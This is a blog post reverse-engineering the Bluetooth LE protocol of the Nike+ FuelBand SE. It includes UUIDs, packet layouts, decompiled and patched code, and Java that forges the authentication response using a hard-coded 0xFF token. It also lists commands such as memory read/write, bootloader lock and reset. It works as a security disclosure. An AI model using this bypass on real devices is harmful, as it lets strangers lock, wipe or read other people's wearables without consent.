Nike+ FuelBand SE BLE Protocol Reversed


During the last two weeks I had fun playing with the BLE protocol of the Nike+ FuelBand SE, a device to track daily steps, calories, time, etc.

nikeband

I’ve completely reversed its protocol and found out the following key points:

  • The authentication system is vulnerable, anyone could connect to your device.
  • The protocol supports direct reading and writing of the device memory, up to 65K of contents.
  • The protocol supports commands that are not supposed to be implemented in a production release ( bootloader mode, device self test, etc ).

I’ve published a proof of concept Android application on github, don’t expect it to be production ready code of course, but it works :)

poc logcat

Why?

Because! I had fun reversing it, I hate closed source hardware protocols, and as long as I know I’m the first one to actually manage to do it, despite many are trying since the first version with no luck.

Kudos to Tom Pohl for being the first one to reverse and somehow hack the HTTP API of the FuelBand and to Kyle Machulis for his reversing of the FB USB protocol. You rock guys!

The question is never why, the question is always **how**.

fucku

BLE

The **B**luetooth **L**ow **E**nergy is a wireless personal area network technology
designed and marketed by the Bluetooth Special Interest Group aimed at novel applications
in the healthcare, fitness, beacons, **security** ( LOL, more on this later ), and home
entertainment industries. Compared to Classic Bluetooth, Bluetooth Smart is intended to
provide considerably reduced power consumption and cost while maintaining a similar
communication range.

Basically it’s something that works on the bluetooth frequencies, but has very little in common to the classic bluetooth, mostly because the device protocol must be implemented by each vendor since there isn’t really a standard (yet?).

Each device has its characteristics which basically are read/write channels (thing about them as sockets), while the writing method is only one, there are two modes of reading data, either you perform an active reading or you wait for the onCharacteristicChanged event and get the available data from the read channel.

The annoying part of this technology is synchronization, since read and write operations can not be performed simultaneously, instead each one needs the previous operation to be completed before being scheduled … event programming dudes!

That’s why you will find an event queue and a lot of sinchronization code in my PoC, not my fault :P

How

Fortunately there’s a Nike official Android application that I managed to reverse, since I don’t (actually didn’t, more on this later ) know smali, I used the lame method of converting the APK to a JAR package using the great dex2jar tool and then JD-Gui to easily read the Java source code.

First thing first, the device is detected and recognized by its COMPANYCODE in the advertisment data ( byte[] NIKE_COMPANY_CODE = { 0, 120 } ), then a GATT service discovery is launched.

The main command service UUID is 83cdc410-31dd-11e2-81c1-0800200c9a66 and it has two characteristics:

  • Command Channel (where you write commands) : c7d25540-31dd-11e2-81c1-0800200c9a66
  • Response Channel (where you wait for responses) : d36f33f0-31dd-11e2-81c1-0800200c9a66

Once the client device attaches to these two channels, it enables notifications on the response one and the authentication procedure starts.

How the Authentication Procedure Theoretically Works

I’m saying theoretically because that’s what some parts of the application suggest it should work, but actually I’ve found out that most of the authentication code is bypassed and some pretty funny constants are used :)

Everything starts with a PIN, a string that “someone” will send you (probably the Nike web api) during the first login/setup with the device, this string is stored inside the XML file /data/data/com.nike.fb/shared_prefs/profilePreferences.xml, in my case its node is:

...
<string name="pin">69AB8DA2-F7D6-497C-869D-493CCF8FE8BC</string>
...

The pin is then hashed with the MD5 function and the first 6 bytes of the resulting hash are converted to hexadecimal, those 6 bytes will become the discovery_token stored in the same file:

...
<string name="discovery_token">5E5E6F7A7FE2</string>
...

Every time the app finds the device and wants to connect with it, it sends the following START AUTHENTICATION command:

0x90 0x0101 0x00 0x00 0x00 ....

0x90 indicates that’s a SESSION command and its bits contains the sequence number, number of total packets in the transaction and packet index ( this is the encoder ).

0x0101 are the bytes indicating the START AUTH command and all the 0x00 are zero bytes padding up to 19 bytes.

Once the app sends this packet, the device replies with a challenge response containing a 16 bytes long nonce buffer.

0xC0 0x11 0x41 0xF495C98693075322225EB8B8A4D79B39
  • 0xC0 Reply opcode ( SESSION protocol, 0 following packets, packet index 0, sequence number 4 ).
  • 0x11 Following data size ( 16 of the nonce + 1 of 0x41 ).
  • 0x41 Auth opcode OPCODE_AUTH_CHALLENGE ( namely: “Hey dude, I’m sending you the nonce! )
  • 0xF495C98693075322225EB8B8A4D79B39 : The nonce itself.

To succesfully authenticate to the device, you need to take this nonce, the previously discussed discovery_token, get a CRC32 of them, truncate it to two bytes and send it back to the device, so the resulting packet would be something like:

0xB0 0x0302 XX XX 0x00 0x00 ........
  • 0xB0 : SESSION protocol, 0 following packets, packet index 0, sequence number 5.
  • 0x0302 : Authentication request opcode.
  • XX XX : The two bytes of the truncated CRC32.
  • 0x00 … : Zero padding up to 19 bytes.

Sounds quite simple yet robust doesn’t it? Since you need both the pin ( which is probably linked to the user account ) and the nonce sent by the device, there’s no way you can remotely connect to a FuelBand unless you have physical access to the owner device or you have hacked his account and used it on your device to force the web api to send you back his pin.

Right? ….. WRONG ! :D

NOTE: Besides what I’m about to write, the device is broadcasting the user discovery_token within its advertisment data ( the MANUDATA field ), so you could sniff it anyway … LOL!

I’ve been stucked a couple of days on this … I implemented everything in the right way, I was using my own discovery_token, succesfully initiated the connection to the device and got the nonce, CRC32’ed them together … and then I got an InvalidParameterException from the class which was computing the CRC32 checksum ( that I copied from the JD-GUI decompilation ) with the message:

Length of data must be a multiple of 4

WTF DUDE?! How could the discovery_token, which is only 6 bytes long, have a size which is divisible by 4?!
So I tried to truncate it to 4 bytes, pad it, hash it … you say it!
Nothing was working.

So I decided that it was the time for me to learn to read and write in Smali ( took me a couple of hours, quite simple actually ).

I decompiled the APK again, this time using apktool to get the smali code, injected some code of mine to make the application log the actual token it was using, recompiled it with apktool, signed it with signapk and reinstalled to my device.

I’ve modified the class com.nike.nikerf.protocol.impl.CopperheadAuthenticationHandler, adding the Smali code to log the token to its method calculateChallengeResponse.

Original ( Java version )

1
2
3
4
5
6
7
8
9
private byte[] mAuthToken;

private short calculateChallengeResponse(byte[] nonce)
{
CopperheadCRC32 crc32 = new CopperheadCRC32();
crc32.update(nonce);
crc32.update(this.mAuthToken);
return (short)(0xFFFF & crc32.getValue() ^ 0xFFFF & crc32.getValue() >>> 16);
}

Patched ( Java version )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private byte[] mAuthToken;

private short calculateChallengeResponse(byte[] nonce)
{
CopperheadCRC32 crc32 = new CopperheadCRC32();
crc32.update(nonce);
crc32.update(this.mAuthToken);

for( int i = 0; i < this.mAuthToken.length; ++i ){
android.util.Log.w( "HACK", "AUTH_TOKEN[" + i + "] = " + String.format("%02X ", this.mAuthToken[i] ) );
}

return (short)(0xFFFF & crc32.getValue() ^ 0xFFFF & crc32.getValue() >>> 16);
}

Guess what?

How the Authentication Procedure Really Works

Fuck it, who fucking cares about that token anyway? Let's just use **0xff 0xff 0xff 0xff 0xff 0xff ....** !

facepalm

Yeah … although the code is there and all the mechanism described in the previous section could be robust … they are just using a hard coded token of 0xff 0xff 0xff 0xff 0xff 0xff …. meaning that, anyonce who’s able to get the nonce from the device ( so anyone with a BLE capable Android smarphone since the device itself it’s sending it ) will be able to authenticate against your device and send any command … let me facepalm again ….

So basically here the code to create an authentication packet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
CopperheadCRC32 crc = new CopperheadCRC32();

byte[] auth_token = Utils.hexToBytes("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF");

/*
* Create the response packet: 0xb0 0x03 0x02 [2 BYTES OF CRC] 0x00 ...
*/
Packet resp_packet = new Packet(19);

resp_packet.setProtocolLayer( CommandResponseOperation.ProtocolLayer.SESSION );
resp_packet.setPacketCount(0);
resp_packet.setPacketIndex(0);
resp_packet.setSequenceNumber( challenge_packet.getSequenceNumber() + 1 );

ByteBuffer response = ByteBuffer.allocate(18);

response.put( (byte)0x03 );
response.put( (byte)0x02 );

crc.update(nonce);
crc.update(auth_token);

short sum = (short)((0xFFFF & crc.getValue()) ^ (0xFFFF & crc.getValue() >>> 16));

response.putShort(sum);

resp_packet.setPayload( response.array() );

And finally the device will reply with:

0xE0 0x01 0x42 0x00000000000000000000000000000000
  • 0xE0: SESSION layer reply, bla bla bla.
  • 0x01: 1 byte of reply.
  • 0x42: Succesfully authenticated ( FUCK YEAH! )
  • 0x00..: Padding.

Sending Commands

Once you’re succesfully authenticated, you can start sending command, each command has its own encoding standard, but the first three bytes are always:

  • protocol byte: SESSION or COMMAND constants + some bit hacking to set sequence number etc.
  • length byte: Size of the following data.
  • opcode : Code of the command:

Each command ( and its encode ) is implemented inside the class com.nike.nikerf.protocol.impl.NikeProtocolCoder_Copperhead, for instance here’s the redacted implementation of Cmd_GenericMemoryBlock ( yeah -.- ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private abstract class Cmd_GenericMemoryBlock
{
private static final int MAX_ADDRESS = 65536;
private static final String MSG_ERR1 = "Request packet does not contain all required fields";
private static final String MSG_ERR2 = "Request fields contain invalid values";
private static final String MSG_ERR3 = "Transaction already in progress";
private static final String MSG_ERR4 = "Request does not belong to a transaction";
private static final String MSG_ERR5 = "Failed to open a transaction";
private static final String MSG_ERR6 = "Failed to close a transaction";
private static final String MSG_ERR7 = "I/O failed";
private static final byte SUBCMD_END_TRANSACTION = 3;
private static final byte SUBCMD_READ_CHUNK = 0;
private static final byte SUBCMD_START_READ = 4;
private static final byte SUBCMD_START_WRITE = 2;
private static final byte SUBCMD_WRITE_CHUNK = 1;

...

public NikeMessage decode(final NikeTransaction nikeTransaction) throws ProtocolCoderException {
... decode a response ...
}

public void encode(final NikeTransaction nikeTransaction) throws ProtocolCoderException {
... encode this command ...
}

byte getOpCode() {
...
}
}

In my proof of concept application you will find the code to create and send Cmd_Settings_Get commands, retrieving some sample data such as BAND_COLOR, FUEL level, owner FIRST_NAME and device SERIAL_NUMBER.

Commands Lists

  • Cmd_BatteryState: Retrieve battery state.
  • Cmd_Bootloader: Set the device to bootloader mode ( basically it locks down the device, the official app won’t work either … only resetting it with the usb cable will unlock it ).
  • Cmd_DesktopData: ???
  • Cmd_EventLog: Get device event log.
  • Cmd_GenericMemoryBlock: Read or Write a memory address from 0 to 0xFFFF.
  • Cmd_MetricNotificationIntervalUpdate: Set interval time to receive metrics update notifications.
  • Cmd_Notification_Subscribe: Subscribe to the notification of a specific metric.
  • Cmd_ProtocolVersion: Get device protocol version.
  • Cmd_RTC: Configure the device real time clock.
  • Cmd_Reset: Reset the device.
  • Cmd_ResetStatus: Reset the user data.
  • Cmd_SampleStore: Use the device memory to store a custom object (!!!).
  • Cmd_SampleStoreAsync: Same, but async.
  • Cmd_SelfTest: Perform a hardware self test and get the results.
  • Cmd_Session_Ctrl: Login/Logout/Ping
  • Cmd_Settings_Get: Get a setting value by its code.
  • Cmd_Settings_Get_Activity_Stats: Get user activity statistics.
  • Cmd_Settings_Get_Boolean: Get a boolean setting.
  • Cmd_Settings_Get_Int: Get an integer setting.
  • Cmd_Settings_Get_MoveReminder: Get a “move reminder” type setting.
  • Cmd_Settings_Set: Set the value of a setting by its code.
  • Cmd_Settings_Set_MoveReminder: Set a “movie reminder” setting.
  • Cmd_UploadGraphic: Upload a bitmap to show on the device led screen ( a subclass of Cmd_GenericMemoryBlock ).
  • Cmd_UploadGraphicsPack: ???
  • Cmd_Version: Get device firmware version.

Conclusions

Altough the device does not contain sensitive data about the user, this is a good proof of concept on how a badly implemented BLE custom protocol could lead an attacker to compromise a device ( such as the BLE proximity sensor of an alarm :) ) without any kind of authentication or expensive hardware.

Become a Patron!